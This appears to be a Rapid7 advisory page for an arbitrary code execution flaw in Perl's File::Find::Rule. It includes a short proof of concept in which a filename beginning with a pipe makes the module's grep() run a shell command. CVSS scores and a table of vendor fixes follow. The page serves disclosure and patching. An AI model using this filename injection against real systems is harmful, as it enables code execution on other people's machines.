File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.
A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
CVSS Details
- CVSS 3.1 Base Score: 8.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | alma-upgrade-perl-file-find-rule | Jul 1, 2025 | Jun 25, 2025 | |
| Alpine Linux | alpine-linux-upgrade-perl-file-find-rule | Aug 8, 2025 | Jun 5, 2025 | |
| Amazon Linux Ami 2 | amazon-linux-ami-2-upgrade-perl-file-find-ruleamazon-linux-ami-2-upgrade-perl-file-find-rule-perl | Jun 13, 2025 | Jun 13, 2025 | |
| Debian | debian-upgrade-libfile-find-rule-perl | Jun 9, 2025 | Jun 9, 2025 | |
| Gentoo Linux | gentoo-linux-upgrade-dev-perl-file-find-rule | Jun 13, 2025 | Jun 12, 2025 | |
| Oracle_linux | — | oracle-linux-upgrade-perl-file-find-ruleoracle-linux-upgrade-perl-file-find-rule-perl | Jun 30, 2025 | Jun 5, 2025 |
| Redhat_linux | no-fix-redhat-rpm-packageredhat-upgrade-perl-file-find-ruleredhat-upgrade-perl-file-find-rule-perl | Jun 26, 2025 | Jun 5, 2025 | |
| Ubuntu | ubuntu-upgrade-libfile-find-rule-perl | Jul 8, 2025 | Jun 5, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub